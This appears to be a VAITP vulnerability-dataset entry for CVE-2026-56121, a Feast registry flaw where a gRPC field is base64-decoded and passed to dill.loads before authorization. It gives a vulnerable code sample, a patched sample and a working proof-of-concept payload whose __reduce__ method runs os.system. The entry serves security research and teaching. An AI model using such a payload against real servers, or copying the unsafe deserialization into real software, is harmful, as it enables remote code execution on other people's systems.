VAITP Dataset

← Back to the dataset

CVE-2026-56121

Feast unsafe deserialization allows unauthenticated RCE via a gRPC request.

  • CVSS 9.3
  • CWE-502
  • Input Validation and Sanitization
  • Remote

Feast before 0.63.0 contains an unsafe deserialization vulnerability that allows unauthenticated or unauthorized attackers to achieve remote code execution by sending a crafted gRPC request to the registry server. The user_defined_function.body field of an OnDemandFeatureView spec is decoded from base64 and passed to dill.loads() before any authorization check is performed, enabling attackers to embed a malicious serialized Python object with an arbitrary __reduce__ method to execute OS commands as the feast service account.

CVSS base score
9.3
Published
2026-06-24
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Timing/Serialization
Code defect classification
Serialization Issues
Category
Input Validation and Sanitization
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
Feast
Fixed by upgrading
Yes

Solution

Upgrade to Feast version 0.63.0 or later.

Vulnerable code sample

import base64
import dill
from dataclasses import dataclass

# Simplified representation of Feast's data structures involved in the vulnerability.
# In the actual Feast code, these would be Protobuf-generated classes.

@dataclass
class UserDefinedFunction:
    """Represents the user-defined function spec."""
    name: str
    body: bytes  # This field contains the base64-encoded, dill-serialized object.

@dataclass
class OnDemandFeatureView:
    """Represents the on-demand feature view spec."""
    name: str
    user_defined_function: UserDefinedFunction


def apply_on_demand_feature_view(spec: OnDemandFeatureView):
    """
    A simplified function simulating the vulnerable part of the gRPC handler
    in the Feast registry server.

    This function is called to apply a new feature view specification.
    Crucially, it deserializes user-provided data before any authorization checks.
    """
    print(f"Applying OnDemandFeatureView spec: {spec.name}")

    # --- VULNERABLE CODE BLOCK ---
    # The 'body' is expected to be a base64-encoded representation of a
    # dill-serialized Python function.
    # No validation or authorization has occurred at this point.
    if spec.user_defined_function and spec.user_defined_function.body:
        try:
            # 1. The user-controlled 'body' is decoded from base64.
            decoded_body = base64.b64decode(spec.user_defined_function.body)

            # 2. The result is passed directly to dill.loads().
            # An attacker can provide a serialized object with a malicious
            # __reduce__ method, which will be executed here, leading to RCE.
            udf = dill.loads(decoded_body)
            print("Successfully deserialized UDF.")

            # In the real application, further processing of the 'udf' object would follow.
            # However, the remote code execution has already happened during 'dill.loads()'.

        except Exception as e:
            print(f"An error occurred during deserialization: {e}")
            # The vulnerability exists even if an exception is caught,
            # as the malicious code in __reduce__ executes before the exception.

    # In a real application, authorization checks and registry updates would happen here,
    # but it's too late as the code has already been executed.
    print("Proceeding with (post-exploitation) registry operations...")

Patched code sample

import base64
import dill

# This mock function represents the required authorization check.
def is_user_authorized(user_identity) -> bool:
    """
    A placeholder for real authorization logic that would check a user's
    permissions against a policy.
    """
    # In a real system, this would inspect the user_identity object.
    # For the fix, the key is that this check happens *before* deserialization.
    print(f"Performing authorization check for: {user_identity}")
    # Returning False simulates an unauthorized attacker.
    if user_identity == "unauthenticated_attacker":
        return False
    return True

def fixed_apply_on_demand_feature_view(request):
    """
    A simplified function representing the fixed logic. The 'request' object
    is a stand-in for the gRPC request payload. It is assumed to have attributes
    for user identity and the feature view specification.
    """
    # --- START OF FIX ---

    # 1. Perform authorization check on the user's identity FIRST.
    # In the vulnerable version, this step happened after step 2.
    if not is_user_authorized(request.user_identity):
        # By raising an error here, the function exits immediately, and the
        # potentially malicious payload is never processed.
        raise PermissionError("User is not authorized to perform this action.")

    # 2. Only deserialize the UDF body AFTER the user has been authorized.
    # This code is now only reachable by trusted users.
    try:
        udf_body_b64 = request.spec.user_defined_function.body
        udf_body_bytes = base64.b64decode(udf_body_b64)

        # The 'dill.loads' call, which was the source of the remote code
        # execution vulnerability, is now protected by the authorization check.
        user_function = dill.loads(udf_body_bytes)

        print("Successfully deserialized UDF for authorized user.")
        # ... further processing of the 'user_function' would occur here ...

    except Exception as e:
        # Handle errors related to decoding or deserialization.
        raise ValueError(f"Failed to process user-defined function: {e}")

    # --- END OF FIX ---

Payload

import dill
import base64
import os

class RCE:
    def __reduce__(self):
        cmd = "touch /tmp/pwned"
        return (os.system, (cmd,))

# The final payload is the base64 encoded representation of the
# dill-serialized malicious object. This is what would be sent
# in the user_defined_function.body field of the gRPC request.
payload = base64.b64encode(dill.dumps(RCE())).decode()

print(payload)

Cite this entry

@misc{vaitp:cve202656121,
  title        = {{Feast unsafe deserialization allows unauthenticated RCE via a gRPC request.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-56121},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-56121/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::